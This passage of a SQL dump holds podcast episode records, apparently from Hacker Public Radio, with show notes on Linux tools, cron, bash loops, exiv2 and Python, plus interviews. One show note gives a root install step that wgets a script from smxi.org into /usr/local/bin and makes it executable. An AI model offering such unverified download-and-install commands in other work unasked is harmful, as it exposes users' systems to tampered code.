HREF=\"https://www.fsf.org/\">FSF</A> endorsed\r\nnetbook running <A HREF=\"https://www.gnewsense.org/\">gNewSense</A>.<BR>Source:\r\n<A HREF=\"https://lwn.net/Articles/363509/\">In other words, DRM from\r\ntop to bottom ...</A> From <A HREF=\"https://lwn.net/\">LWN.net</A><BR><BR><BR>COtW\r\n(Command of the Week):<BR>Azimuth$ <A HREF=\"https://techpatterns.com/forums/about1133.html\">inxi</A>\r\n(command line information script)<BR>Download &amp; Install: # </FONT><FONT COLOR=\"#660000\"><FONT SIZE=2>cd\r\n/usr/local/bin &amp;&amp; wget -Nc smxi.org/inxi &amp;&amp; chmod +x\r\ninxi</FONT></FONT><FONT SIZE=2><BR>Klaatu$ </FONT><FONT COLOR=\"#660000\"><FONT SIZE=2>find\r\n~ -type f -iname \'*.ogg\'</FONT></FONT><FONT SIZE=2><BR>Jman$ </FONT><FONT COLOR=\"#660000\"><FONT SIZE=2>pinfo</FONT></FONT><FONT SIZE=2>\r\n(viewer for Info documents, which is based on ncurses. The\r\nkey-commands are in the style of lynx.)<BR><BR><BR>Other things\r\nmentioned: <A HREF=\"https://www.chromium.org/chromium-os\">Chromium OS</A>,\r\n<A HREF=\"https://www.crankygeeks.com/\">Cranky Geeks</A>, <A HREF=\"https://distrowatch.com/\">DistroWatch</A>,\r\n<A HREF=\"https://www.koffice.org/\">KOffice</A>, <A HREF=\"https://linuxmint.com/\">Linux\r\nMint</A>, <A HREF=\"https://xyne.archlinux.ca/manpages/powerpill\">Powerpill</A>,\r\n<A HREF=\"https://qt.nokia.com/products/appdev/developer-tools/developer-tools\">Qt\r\nCreator</A>, <A HREF=\"https://www.tuxradar.com/\">TuxRadar</A>, and\r\nTuxRadar\'s &quot;<A HREF=\"https://www.tuxradar.com/content/code-project-create-ffmpeg-front-end\">Code\r\nProject: create an ffmpeg front-end</A>&quot;<BR></FONT><BR>\r\n</P>\r\n<P STYLE=\"margin-bottom: 0in\"><FONT SIZE=2><BR>Caller: SndChaser<BR></FONT><BR>\r\n</P>\r\n<P STYLE=\"margin-bottom: 0in\"><FONT SIZE=2><BR>TerryF\'s Song of the\r\nWeek: Shine by <A HREF=\"https://www.musicalley.com/music/listeners/artistdetails.php?BandHash=3ac347d9876e90e6d16b0d62e8146b81\">Cactus</A><BR></FONT><BR>\r\n</P>\r\n<P STYLE=\"margin-bottom: 0in\"><BR>\r\n</P>\r\n<P STYLE=\"margin-bottom: 0in\"><FONT SIZE=2>Please visit\r\n<A HREF=\"https://titradio.info/\">https://titradio.info</A> for more\r\ninformation.</FONT></P>\r\n<P STYLE=\"margin-bottom: 0in\"><BR>\r\n</P>\r\n<P STYLE=\"margin-bottom: 0in\"><BR>\r\n</P>',99,30,1,'CC-BY-NC-SA','Kdevelop,apt-fast git script',0,1921,1),
(493,'2009-12-10','Free and Open Source Software in Business',1765,'Robert Ladyman talks about Free and Open Source software in the Business world.','<p>Robert Ladyman talks about Free and Open Source software in the Business world.</p>\r\n<p>Also available is the <a href=\"https://www.thebadapples.info/audiophile/hpr0493.ogg\">ogg version</a> of this episode.</p>',85,36,1,'CC-BY-NC-SA','open source software,free software,business,FOSS',0,2008,1),
(494,'2009-12-11','Klaatu interviews Russ from Linux in the Ham Shack',594,'Klaatu interviews Russ from the Linux in the Ham Shack podcast','<p>Klaatu, at Ohio Linux Fest 2009, interviews Russ from the <a href=\"https://www.blacksparrowmedia.com/lhs\" target=\"_blank\">Linux in the Ham Shack</a> podcast.</p>\r\n<p><a href=\"https://www.thebadapples.info/audiophile/hpr_linuxInTheHamShack.ogg\" target=\"_blank\">The ogg version</a> provided by <a href=\"https://www.thebadapples.info\" target=\"_blank\">The Bad Apple Linux Oggcast</a>.</p>\r\n',78,78,0,'CC-BY-NC-SA','OLF 2009,interview',0,2514,1),
(495,'2009-12-14','Gary Whiton talks about the Blender Game Engine',1358,'Gary Whiton talks about the Blender Game Engine.','<p>Gary Whiton talks about the Blender Game Engine.</p>\r\n<p><a href=\"https://www.thebadapples.info/audiophile/hpr0495.ogg\">Ogg version</a></p>',85,36,1,'CC-BY-NC-SA','blender,game engine',0,1966,1),
(496,'2009-12-22','Uber Leet Hacker Force Radio Issue 2',427,'Uber Leet Hacker Force Radio issue 2','<p>git clone git://repo.or.cz/hrr.git</p>\r\n\r\n<p>We still are looking for someone to donate web-space so if you\'re interested contact us at pantsbutt at gmail</p>',115,87,1,'CC-BY-NC-SA','audacity',0,2107,1),
(497,'2009-12-23','Kris Findlay discusses Secure Socket Handler',1344,'Talk with Kris Findlay','or grab the\r\n... <a href=\"https://www.thebadapples.info/audiophile/hpr0497.ogg\">ogg vorbis version</a>',85,36,1,'CC-BY-NC-SA','ssh,port forwarding,X forwarding,scp',0,2090,1),
(498,'2009-12-25','Talk Geek To Me Ep 02',2044,'Deepgeek talks geek to his fans about HTML','<p>Deepgeek discusses upgrading from old style HTML to Modern HTML. He uses, as a feature example, device independence between Cell Phone Micro Browsers and Desktop Browsers like Firefox.</p>\r\n<p>Alternate audio formats are available at <https://www.talkgeektome.us\" target=\"_blank\">talkgeektome.us</a>.</p>',73,34,1,'CC-BY-NC-SA','HTML,css,stylesheets,micro browser,mobile browsing',0,1959,1),
(499,'2009-12-30','TiT Radio Ep 15',5310,'Monsterb and friends host TiT Radio','TiT Radio Episode 015 - 330 Moisture Control<br>\r\n<br>\r\nPlease visit <a href=\"https://titradio.info/015.html\">https://titradio.info/015.html</a> for shownotes.<br>\r\n</body></html>',99,30,1,'CC-BY-NC-SA','FreeBSD,Zoneminder,webcam,inx distro,VideoLAN Movie Creator',0,1954,1),
(500,'2010-01-01','2009 Year in Review',1808,'Enigma and Klaatu talk about 2009, and what 2010 may bring','<p>Enigma and Klaatu talk about 2009, and what 2010 may bring for the Hacker Public Radio and Binary Revolution (binrev) world.</p>\r\n\r\n<p>An <a href=\"https://www.thebadapples.info/audiophile/hpr0500.ogg\">ogg version</a> is also available.</p>',39,0,1,'CC-BY-NC-SA','Python,Talk geek to me,OLF,Ohio Linux Fest,SELF,Southeast Linux Fest,lightweight apps',0,1263,1),
(501,'2010-01-06','Klaatu interviews Rikki Kite of Linux Pro Magazine',691,'Klaatu interviews Rikki Kite, Associate publisher of Linux Pro Magazine.','<p>Klaatu, at the Ohio Linux Fest 2009. interviews Rikki Kite, associate publisher of Linux Pro Magazine.</p>\r\n<p><a href=\"https://www.thebadapples.info/audiophile/hpr_rikki_kite.ogg\" target=\"_blank\">The ogg version</a> provided by <a href=\"https://www.thebadapples.info\" target=\"_blank\">The Bad Apple Linux Oggcast</a>.</p>\r\n',78,78,0,'CC-BY-NC-SA','OLF 2009,interview',0,1542,1),
(502,'2010-01-08','What Is Free Software',1716,'Finux gives a talk at the Dundee Free Software Day event. Topic: what is free software?','<p>Finux gives a talk at the Dundee Free Software Day event.  Topic: what is free software?</p>\r\n<p>Ogg version.  Click riiiight here on the little <a href=\"https://www.thebadapples.info/audiophile/hpr0502.ogg\">f</a> (for free), to download it.</p>',85,36,1,'CC-BY-NC-SA','free software,vendor lock-in',0,2680,1),
(503,'2010-01-08','Quvmoh talks to Clint Tinsley about SLAMPP',814,'Quvmoh interviews Clint Tinsley about SLAMPP','<a href=\"https://slampp.abangadek.com/info/\" target=\"_blank\">SLAMPP</a>',110,78,1,'CC-BY-NC-SA','Slackware,Lamp server,Live cd,interview',0,1906,1),
(504,'2010-01-13','Hacker Public Radio Round Table 8',3500,'Discussion of the movie THX 1138','Join us as SigFLUP, Deepgeek, lostnbronx, and Klaatu discuss the sci fi movie THX 1138',107,26,1,'CC-BY-NC-SA','sci fi,movie,film review,review',0,1921,1),
(505,'2010-01-21','Interview with a blackhat - n0 g00d',1222,'Interview with a BlackHat. n0 g00d talks to us about where he started hacking','Interview with a blackhat - n0 g00d\r\n\r\nAnd so commences the new series of interview with a BlackHat\r\n\r\nn0 g00d talks to us about where he started hacking, what he has done in \r\nthe past and the reasons why he does hack.\r\n\r\ntmacuk - https://www.tmacuk.co.uk\r\ntmac@tmacuk.co.uk',85,78,1,'CC-BY-NC-SA','interview,hacking',0,1433,1),
(506,'2010-01-22','TiT Radio 016 - HPR Potluck Roundtable',4937,'Monsterb and friends host TiT Radio','TiT Radio 016 - HPR Potluck Roundtable<br>\r\n<br>\r\nRecorded live on Jan 9th 2010.<br>\r\n<br>\r\nWe talk about... Way to much to list. Please visit <a href=\"https://titradio.info/016.html\">https://titradio.info/016.html</a> for shownotes.<br>',99,30,1,'CC-BY-NC-SA','Fedora,libdvdcss,Window managers,Enlightenment,Ratpoison,Android',0,1250,1),
(507,'2010-01-28','Cron with Ken Fallon',1310,'Ken Fallon discusses cron and crontab','<pre>\r\nLINKS\r\n==============================================\r\nhttps://help.ubuntu.com/community/CronHowto\r\nhttps://unixhelp.ed.ac.uk.CGI/man-cgi?crontab+5\r\nhttps://unixgeeks.org/security/newbie/unix/cron-1.html\r\nhttps://en.wikipedia.org/wiki/Cron\r\nhttps://ratholeradio.org/\r\n\r\nSCRIPT\r\n==============================================\r\nusername@computer:~$ vi /home/username/bin/hello.bash\r\n\r\nusername@computer:~$ cat /home/username/bin/hello.bash\r\n#!/bin/bash\r\necho \"hello world\"\r\n\r\nusername@computer:~$ /home/username/bin/hello.bash\r\nbash: /home/username/bin/hello.bash: Permission denied\r\n\r\nusername@computer:~$ chmod +x /home/username/bin/hello.bash\r\n\r\nusername@computer:~$ /home/username/bin/hello.bash\r\nhello world\r\n\r\nusername@computer:~$ export |grep EDITOR\r\ndeclare -x EDITOR=\"vim\"\r\n\r\nusername@computer:~$ crontab -l\r\nno crontab for username\r\n\r\nusername@computer:~$ crontab -e\r\nno crontab for username - using an empty one\r\nNo modification made\r\n\r\nusername@computer:~$ crontab -e\r\nno crontab for username - using an empty one\r\ncrontab: installing new crontab\r\n\r\nusername@computer:~$ crontab -l\r\n# m h  dom mon dow   command\r\n* * * * * /home/username/bin/hello.bash > /home/username/hello.output 2>&1\r\n\r\nusername@computer:~$ cat /home/username/hello.output\r\nhello world\r\n</pre>',85,0,1,'CC-BY-NC-SA','cron,cron history,crontab',0,1460,1),
(508,'2010-01-29','Pocket Full of Miracles',1280,'lostnbronx talks about the contents of his pockets','lostnbronx talks about the contents of his pockets, in this latest \r\nedition of the \"What\'s In Your Toolkit\" series.',107,23,1,'CC-BY-NC-SA','cargo pants,penknife,phone,sansa e270,paper abacus,notebook',0,1936,1),
(509,'2010-01-29','Binrev Radio Lost episode - Telephonic Craptacular',3689,'Bonus episode created just to work out the timing between seasons of Binrev Radio','<pre>\r\nOriginal Release Date\r\n    2006-07-18\r\nHosts\r\n    StankDawg, et al.\r\n\r\nBONUS EPISODE!\r\n</pre>\r\n\r\nThis episode was a bonus episode that I created just to work out the timing between seasons. We had completed the last season 3 at episode 156 (52 episodes * 3 years) but the first episode of season 4 (#157) was planned as a live event at hope NEXT week so I had a week gap with no show and I didn\'t want to ruin the live event, so I created this \"half episode\" to fill the slot this week..\r\n\r\nThis rare episode was streamed but was not on our archive. There may be a few copies floating around here or there, but this is the first official release of this episode on this site. \r\n',55,0,1,'CC-BY-NC-SA','telephone,guest survey',0,8975,1),
(510,'2010-02-02','Python Language Moratorium  Python 2.7 End of the Line?',1434,'A round-table discussion about the possibility of Python 2.x end of life','\r\nPython Language Moratorium / Python 2.7 End of the Line?\r\nA round-table discussion of the moratorium on Python language development and whether Python 2.7 will be  the last of the 2.x series.',121,38,1,'CC-BY-NC-SA','python 2.7,python 3.0',0,2802,1),
(511,'2010-02-04','TiT RAdio 017 - Klaatu\'s Window Manager Challenge',6329,'Monsterb and friends host TiT Radio and discuss window managers','TiT RAdio 017 - Klaatu\'s Window Manager Challenge<br>\r\n<br>\r\nPlease visit <a href=\"https://titradio.info/017.html\">https://titradio.info/017.html for shownotes.<br>',99,30,1,'CC-BY-NC-SA','Window managers,Awesome,Windowmaker,Ratpoison,StumpWM,fvwm,e17,Sawfish',0,1390,1),
(512,'2010-02-06','Uber Leet Hacker Force Radio 3',4946,'Uber Leet Hacker Force Radio issue 3','TITLE: Uber Leet Hacker Force Radio #3 <br><br>\r\nAUTHOR: SigFLUP<br><br>\r\nDESCRIPTION:<br>\r\nLinks in this episode include<br>\r\nhttps://uberleet.atari.org<br>\r\nhttps://hobones.dogsoft.net/mega/mega_distrib.tgz <br>\r\nhttps://hobones.dogsoft.net/pits_distrib.tgz <br>\r\nhttps://hobones.dogsoft.net/bump.avi <br>\r\n',115,87,1,'CC-BY-NC-SA','music',0,1449,1),
(513,'2010-02-08','Piratprat Ep 01',688,'Nilsson and Koistinen talks about the Swedish Pirate Party','Piratprat - Subjects related to the Swedish Pirate Party\r\n\r\n<p>\r\n\r\nNilsson and Koistinen talks about the Swedish Pirate Party.\r\nIn this episode from February 6 we discuss the Pirate Party, program, who are members, the primary election and grandmother Gun.\r\n</p><p>\r\n<a href=https://www.teo.se/27/>Show page</a>\r\n</p>\r\n',122,0,1,'CC-BY-NC-SA','Piratprat,Swedish Pirate Party',0,1258,1),
(514,'2010-02-10','Talk Geek To Me ep 06',1287,'Talk Geek to Me host, Deepgeek reviews the OS \"Debian-GNU-KFreeBSD\"','Deepgeek reviews the OS \"Debian-GNU-KFreeBSD,\" which is Debian-GNU running with a FreeBSD kernel. \r\n<br>\r\nAlso covered a latin Free Software news item \r\n<br>\r\nClosing Music:Mike Burgess-Audio Love Song\r\n<br>',73,34,1,'CC-BY-NC-SA','Debian-GNU-KFreeBSD,Debian,GNU,FreeBSD',0,1897,1),
(515,'2010-02-11','Network Basics Part 6',1607,'Episode 6 of Basic networking with Klaatu','Klaatu continues his network basics series',78,61,0,'CC-BY-NC-SA','networking,arp,dhcp',0,1361,1),
(516,'2010-02-13','Interview with Astera',2757,'Interview about hacker spaces across Europe','The interview was orginally recorded for https://www.tracsec.com <br>\r\n\r\nAstera has been an evangelist for hacker spaces across europe. <br>\r\n\r\nLots of interesting information about hacker spaces  ',85,78,1,'CC-BY-NC-SA','interview,hackerspace',0,1325,1),
(517,'2010-02-16','Interview with a blackhat  2 - CC',1641,'Interview with a BlackHat. CC talks to us about where he started hacking','2nd in the series of interview with a \r\nBlackHat <br> CC talks to us about where he started\r\nhacking, what he has done in the past and the reasons\r\nwhy he does hack. \r\n<br>\r\ntmacuk - https://www.tmacuk.co.uk tmac@tmacuk.co.uk',123,78,1,'CC-BY-NC-SA','hacking,sql injection',0,1873,1),
(518,'2010-02-17','Life Without a GUI',3317,'Getting Things Done - Life Without a GUI by Jared Bernard','\r\n\r\nGetting Things Done - Life Without a GUI\r\nby Jared Bernard <br>\r\nOct 9th 2009 at the Utah Open source conference \r\n<br>\r\n\r\n<a href=\"https://2009.utosc.com/presentation/44/\"> https://2009.utosc.com/presentation/44/ </a> <br>\r\n<a href=\"https://www.jaredandcoralee.com/\"> https://www.jaredandcoralee.com/ </a>\r\n',110,0,1,'CC-BY-NC-SA','command line,screen,wordgrinder,LaTex,antiword,framebuffer,mutt,alpine,youtube-dl',0,1512,1),
(519,'2010-02-18','TiT Radio 018 - moooo! Baby',4103,'Monsterb and friends host TiT Radio','<h3>TiT Radio 018 - moooo! Baby.<h3>\r\n<p>monsterb, klaatu, Peter64, Azimuth, and JMan talk about search enigines, codecs, \r\nvideo editing, and so much more!</p>\r\n<p>Please visit <a href=\"https://titradio.info/018.html\">https://titradio.info/018.html</a> for shownotes.</p>\r\n',99,30,1,'CC-BY-NC-SA','search engines,media players,video-meta,perl,slackermedia,slackbuilds,kdenlive,Slackware,screen,screenrc,cron,xprop',0,1393,1),
(520,'2010-02-19',' Selecting Talks for PyCon 2010',1302,'Discussion on how talks were selected for the upcoming PyCon 2010 conference','\r\nSelecting Talks for PyCon 2010<br>\r\nIn this episode, we discuss how talks were selected for the upcoming PyCon conference, and what else is being planned.',121,38,1,'CC-BY-NC-SA','python,pycon 2010',0,1911,1),
(521,'2010-02-23','Talk Geek to me Ep 07 ',1965,'Deepgeek talks geek to his fans about nuclear power','In this episode I discuss my opinions on Nuclear Power. I give a brief history as well as assess the problems of the Industry. <br>\r\n\r\nClosing Music is Stian-2003001.',73,34,1,'CC-BY-NC-SA','Nuclear,Nuclear power,Nuclear waste,Nuclear weapons,mining process,exposure risks',0,2020,1),
(522,'2010-02-26','Piratprat Ep 02',354,'Discussion on the internal Pirate Party election fraud','Piratprat - Subjects related to the Swedish Pirate Party\r\n\r\n<p>\r\n\r\nIn this episode from February 18 we discuss the internal Pirate Party election fraud. Extra short episode due to cold weather. (recorded under the winter sky)\r\n</p><p>\r\n<a href=https://www.teo.se/28/>Show page</a>\r\n</p>',122,0,1,'CC-BY-NC-SA','Piratprat,Swedish Pirate Party',0,1231,1),
(523,'2010-03-01','Miscellaneous Radio Theater ',2959,'Miscellaneous Radio Theater 4096 - Teaching Kids Math With Petunia','AUTHOR: SigFLUP\r\nTITLE: Miscellaneous Radio Theater 4096- Teaching Kids Math With Petunia <br>\r\nDESCRIPTION:<br>\r\nIn this episode we talk with Petunia about teaching kids math. You may contact either Petunia or SigFLUP at pantsbutt@gmail.com\r\n',115,0,1,'CC-BY-NC-SA','education,math,science',0,1373,1),
(524,'2010-03-04','TiT Radio 019 - interview with sigFLUP',1818,'monsterb chats with sigFLUP','TiT Radio 019 - interview with sigFLUP<br />\r\n<br />\r\nmonsterb chats with sigFLUP about the demoscene, old gaming consoles, and so much more.<br />\r\n<br />\r\nPlease visit <a href=\"https://titradio.info/019.html\">https://titradio.info/019.html</a> for shownotes.',99,30,1,'CC-BY-NC-SA','demoscene,old gaming consoles,retro computing',0,2100,1),
(525,'2010-03-05','Seccubus',1745,'Interview with Frank and Jason about Seccubus','Frank, Jason and Secubuss - HPR spreading the word\r\n<br>\r\nThe first show is a continuation for a previous show <br>\r\n<a href=\"https://hackerpublicradio.org/eps.php?id=0467\"> https://hackerpublicradio.org/eps.php?id=0467 </a>\r\n<br>\r\n\r\nFrank Breedijk, asked HPR listeners to supply him name suggestions for\r\nhis security assessment tool, autonessus.  One of HPR listeners supplied\r\nhim a name which he liked and now the project is known as Seccubus.  The\r\nshow is an interview with both Frank and the fellow that supplied the\r\nname Jason.',85,0,1,'CC-BY-NC-SA','Autonessus,Seccubus,security',0,2494,1),
(526,'2010-03-08','Interview with a whitehat',2097,'Finux interviews TmacUK','Finux interviews TmacUK',85,78,1,'CC-BY-NC-SA','white hat,security,bug reporting,Wordpress,vulnerability',0,1381,1),
(527,'2010-03-09','HPR RoundTable 9',1951,'Discussion of the low budget film, \"Infest Wisely\"','The roundtable  discussesthe low budget (no budget?) science\r\nfiction film \"Infest Wisely\", available from the Internet\r\nArchive at: https://www.archive.org/details/InfestWisely\r\n',109,26,1,'CC-BY-NC-SA','roundtable,sci fi,movie,film review,review,nanotechnology',0,1515,1),
(528,'2010-03-11','Bordless Networking',3023,'Robert Laymans explains the concept of borderless networking','Robert Laymans Borderless networking talk',85,0,1,'CC-BY-NC-SA','borderless networking,networking,networks,VPN,firewall,de-perimeterisation,Jericho Forum',0,1416,1),
(529,'2010-03-16','Interview with Peterwood',3853,'In this episode finux and the tracsec crew interview Peter Wood','finux and the tracsec crew interview Peter Wood',85,78,1,'CC-BY-NC-SA','interview,security,infosec,hacking,ethical hacking,vulnerabilities,white hat',0,1458,1),
(530,'2010-03-18','Setting up the samson C01u in linux',529,'pegwole explains how to set up the Samson C01U microphone in Linux','pegwole explains how to set up the samson C01u in linux',120,0,1,'CC-BY-NC-SA','Samson C01U,audio,microphone,audio gear,gmixer,audacity,audio setup',0,1441,1),
(531,'2010-03-24','bash loops ',512,'While aboard an Airbus 320, Ken Fallon describes loops that are available in BASH','<pre>\r\nuser@pc:~$ for number in 1 2 3\r\n> do\r\n> echo my number is $number\r\n> done\r\nmy number is 1\r\nmy number is 2\r\nmy number is 3\r\n\r\nuser@pc:~$ for number in 1 2 3 ; do echo my number is $number; done\r\nmy number is 1\r\nmy number is 2\r\nmy number is 3\r\n\r\nuser@pc:~$ cat x.txt|while read line;do echo $line;done\r\none-long-line-with-no-spaces\r\none ling line with spaces\r\n\r\nuser@pc:~$ for line in `cat x.txt`;do echo $line;done\r\none<-long-line-with-no-spaces\r\none\r\nling\r\nline\r\nwith\r\nspaces\r\n</pre>',30,42,1,'CC-BY-NC-SA','bash,loops,while loops,for loops,scripting,bash scripting',0,1509,1),
(532,'2010-03-29','Ubuntu interview',1003,'Patrick L Archibald interviews his sister Wynn Godbold about using Ubuntu Linux','Patrick L Archibald interviews her sister Wynn Godbold who recently starting using Ubuntu Linux. She is a kindergarten teacher in SC. They talk about her experience as a new Linux user.  The also discuss open source adoption in the education field. At times it sounds unintentionally like an Ubuntu promo but there are some good snippets in the interview. ',124,78,1,'CC-BY-NC-SA','interview,interviews,linux,Ubuntu,new users',0,1499,1),
(533,'2010-03-30','Professional Certs versus Hacker Degree',3802,'Finux leads a panel debating professional certification versus university hacking degrees','Finux\'s Tracsec segement about Professional Certs Versus Hacking Degree',85,0,1,'CC-BY-NC-SA','podcast,TRACsec,certification,professional certification,hacking degree,university degree,security,SANS Institute',0,1357,1),
(534,'2010-04-03','Mercurial Transition and comments on the Python Package Index',2738,'A panel discussion covering the transition to using Mercurial for the Python source code','Mercurial Transition / Python 2.7 alpha 1 / Comments on the Python Package Index\r\nWe cover the status of the transition to using Mercurial for the Python source code, the first alpha release of Python 2.7, and the recent controversy over adding commenting to the Python Package Index.',121,38,1,'CC-BY-NC-SA','podcast,Python,Python 2.7,Mercurial,EOL,DVCS,distributed version control system,Subversion,Iron Python,Python 3.2,Python Package Index,PyPI',0,1327,1),
(535,'2010-04-06','New Features in Python 2.7',1276,'A panel discussion on some of the new features coming in Python 2.7','Episode 5.Bit-of-Python-2010-02-10\r\nNew Features in Python 2.7\r\nWe discuss some of the new features coming in Python 2.7.\r\n',121,38,1,'CC-BY-NC-SA','python,python 2.7,modules,logging,configuration,podcast,PyPy,versioning',0,1408,1),
(536,'2010-04-13','Spud Guns',1760,'First time host elel talks about spud guns and how to build them','\r\n\r\nWebsites listed:\r\n <br>\r\nhttps://spudtech.com/\r\n <br>\r\nhttps://spudfiles.com/\r\n<br>\r\nhttps://www.advancedspuds.com/\r\n<br>\r\n\r\n<br>\r\nBooks:\r\n<br>\r\nBackyard Balistics by Wiliam Gurstelle\r\n<br>\r\n\r\n<br>\r\nGun plans:\r\n<br>\r\nhttps://www.advancedspuds.com/gunplans.htm<br>',125,0,1,'CC-BY-NC-SA','spud gun,air powered gun,PVC pipe,combustion powered,gas powered,propellent',0,1354,1),
(537,'2010-04-16','Episode 6.Bit-of-Python',1128,'Michael Foord interviews Van Lindberg, conference chair of PyCon 2010, about the conference','Episode 6.Bit-of-Python-2010-03-10\r\nInterview: Van Lindberg\r\nMichael Foord interviews Van Lindberg, conference chair for PyCon 2010 in Atlanta GA, on the success of the conference, plans for the 2011 Atlanta conference, and his work as an intellectual-property lawyer.\r\n',121,38,1,'CC-BY-NC-SA','podcast,PyCon,PyCon 2010,interview,interviews,intellectual property,software patents',0,1215,1),
(538,'2010-04-19','asterisk-cast',937,'cobra2 describes installing and configuring Asterisk PBX with a conference room extension','cobra2\'s asterisk-cast',126,0,1,'CC-BY-NC-SA','Asterisk,PBX,install,VoIP,SIP',0,1575,1),
(539,'2010-04-30','Little Bit of Python Episode 7',1383,'A panel discussion on speeding up Python and proposed changes in the Unladen Swallow branch','Episode 7.Bit-of-Python-2010-03-15\r\nUnladen Swallow\r\nPEP 3146 proposes that the Unladen Swallow branch, which adds a just-in-time compiler to Python, be merged into the main Python repository. We discuss what Unladen Swallow does, and what impact it\'s likely to have.\r\n',121,38,1,'CC-BY-NC-SA','podcast,python,just-in-time compiler,JIT,Unladen Swallow,PEP,PEP 3146',0,1618,1),
(540,'2010-05-05','Uber Leet Hacker Force Radio  04',4171,'sigflup interviews cobra2 about unixporn.com and Command Line of the Command Line Podcast ','HEELLLLLOOOO!!!!!\r\nIn this episode of the Uber Leet Hacker Force Radio sigflup releases a couple\r\nof things and talks with cobra2 of unixporn.com and Command Line of the Command Line Podcast. you may email the Uber Leet Hacker Force at pantsbutt@gmail.com\r\nand visit our web-site at https://uberleethackerforce.deepgeek.us\r\n',115,87,1,'CC-BY-NC-SA','interview,interviews,podcast,unixporn,SMD,multi-core,multi-core processor,threads,quantum computers,Moore\'s Law,cluster,computer cluster',0,1253,1),
(541,'2010-05-12','Interview with Moxie Marlinspike',3762,'finux interviews Moxie Marlinspike about security research for the Tracsec podcast','finux and the Tracsec guys interview Moxie Marlinspike ',85,78,1,'CC-BY-NC-SA','podcast,security,SSL,TLS,Tracsec,certifcates,ssl certificate,ssl certificate chain,sslsniff,WPA cracker,penetration testing,port knocking',0,1260,1),
(542,'2010-05-18','Little Bit of Python Episode 8',904,'Steve Holden interviews Mark Shuttleworth, founder of Canonical, at PyCon 2010','Episode 8.Bit-of-Python-2010-03-20\r\nInterview: Mark Shuttleworth\r\nSteve Holden interviews Mark Shuttleworth, founder of the Ubuntu project and a keynote speaker at PyCon 2010.\r\n',121,38,1,'CC-BY-NC-SA','python,interview,interviews,Canonical,Mark Shuttleworth,PyCon,PyCon 2010,Ubuntu,Pygame',0,1426,1),
(543,'2010-05-24','Xoke\'s Podcasting Script',535,'An introduction to a script for recording podcasts','<p>Xoke talks about his podcasting script that is available on <a href=\"https://xoke.org/\">xoke.org</a></p>\r\n\r\n<ul>\r\n<li>Script: <a href=\"https://xoke.org/scripts/rec/\">https://xoke.org/scripts/rec/</a></li>\r\n</ul>',79,42,1,'CC-BY-NC-SA','shell,scripts,scripting,bash',0,1627,1),
(544,'2010-05-28','HPR: A private data cloud',1823,'Backing up your cherished photo and video privately and securely','<pre>\r\nLINKS:\r\nFailure Trends in a Large Disk Drive Population https://labs.google.com/papers/disk_failures.pdf\r\n\r\nNas solutions\r\nhttps://www.drobo.com/\r\nhttps://en.wikipedia.org/wiki/Network-attached_storage\r\n\r\nClowd Solutions\r\nhttps://one.ubuntu.com/\r\nhttps://www.dropbox.com/\r\nhttps://www.carbonitepro.com/ProPricing.aspx\r\n\r\nRsync\r\nhttps://samba.anu.edu.au/rsync/\r\nhttps://rsync.samba.org/ftp/rsync/rsync.html\r\nhttps://en.wikipedia.org/wiki/Sneaker_net\r\n\r\nSetting up the sshkey\r\nhttps://sial.org/howto/openssh/publickey-auth/\r\n\r\nGetting a well known url for your changing home IP address\r\nhttps://en.wikipedia.org/wiki/Dynamic_DNS\r\n\r\nCron howto\r\nhttps://hackerpublicradio.org/eps.php?id=0507\r\nhttps://www.cyberciti.biz/faq/disable-the-mail-alert-by-crontab-command/\r\n\r\nSponsored Podcast\r\nhttps://screencasters.heathenx.org/\r\n</pre>\r\n',30,0,1,'CC-BY-NC-SA','private cloud,backup,raid,offsite backup,rsync,ssh,cron',0,1325,1),
(545,'2010-06-03','Little Bit of python episode nine',1548,'News about Python 2.7, PyPy 1.2 and other modules','<p>First released as Bit of Python on 2010-03-22</p>\r\n<h1 id=\"bits-of-news\">Bits of News</h1>\r\n<p>We discuss a variety of recent news items:</p>\r\n<ul>\r\n<li>some recent CPython changes,</li>\r\n<li>the new PyPy 1.2 release,</li>\r\n<li>crypto support and Debian packaging for IronPython,</li>\r\n<li>the PyWeek game programming contest,</li>\r\n<li>upcoming conference plans,</li>\r\n<li>and upcoming podcast plans.</li>\r\n</ul>\r\n',121,38,1,'CC-BY-NC-SA','News,CPython,IronPython,PyWeek',0,1569,1),
(546,'2010-06-03','Shot of Hack - Changing the time offset of a series of photos',399,'Ken discusses how to modify image metadata from the command line using exiv2','The problem: You have a series of photos where the time is offset from the correct time but is still correct in relation to each other.</p>\r\n<p>Here are a few of the times that I have needed to do this: - Changing the battery on my camera switched to a default date. - I wanted to synchronize the time on my camera to a GPS track so the photos matched the timestamped coordinates. - At a family event where images from different cameras were added together.</p>\r\n<p>You can do edit the timestamp using a GUI and many photo manipulation applications like the GIMP support metadata editing. For example on KDE:</p>\r\n<pre><code>gwenview -&gt; plugins -&gt; images -&gt; metadata -&gt; edit EXIF </code></pre>\r\n<p>The problem is that this gets tiresome after a few images, and anyway the times are correct in relation to each other - I just need to add or subtract a time correction to them en masse.</p>\r\n<p>The answer: exiv2 - Image metadata manipulation tool. It is a program to read and write Exif, IPTC and XMP image metadata and image comments.</p>\r\n<pre><code>user@pc:~$ exiv2 *.jpg\r\nFile name       : test.jpg\r\nFile size       : 323818 Bytes\r\nMIME type       : image/jpeg\r\nImage size      : 1280 x 960\r\nCamera make     : FUJIFILM\r\nCamera model    : MX-1200\r\nImage timestamp : 2008:12:07 15:12:59\r\nImage number    :\r\nExposure time   : 1/64 s\r\nAperture        : F4.5\r\nExposure bias   : 0 EV\r\nFlash           : Fired\r\nFlash bias      :\r\nFocal length    : 5.8 mm\r\nSubject distance:\r\nISO speed       : 160\r\nExposure mode   : Auto\r\nMetering mode   : Multi-segment\r\nMacro mode      :\r\nImage quality   :\r\nExif Resolution : 1280 x 960\r\nWhite balance   :\r\nThumbnail       : image/jpeg, 5950 Bytes\r\nCopyright       :\r\nExif comment    :</code></pre>\r\n<p>The trick is to pick a image where you can that figure out what the time was and work out the time offset. In my case I needed to adjust the date forward by six months and four days while changing the time back by seven hours. I used the command <code>exiv2 -O 6 -D 4 -a -7 *.jpg</code></p>\r\n<pre><code>-a time\r\n    Time adjustment in the format [-]HH[:MM[:SS]].\r\n    This option is only used with the &#39;adjust&#39; action. Examples:\r\n        1 adds one hour,\r\n        1:01 adds one hour and one minute,\r\n        -0:00:30 subtracts 30 seconds.\r\n-Y yrs\r\n    Time adjustment by a positive or negative number of years, for the &#39;adjust&#39; action.\r\n-O mon\r\n    Time adjustment by a positive or negative number of months, for the &#39;adjust&#39; action.\r\n-D day\r\n    Time adjustment by a positive or negative number of days, for the 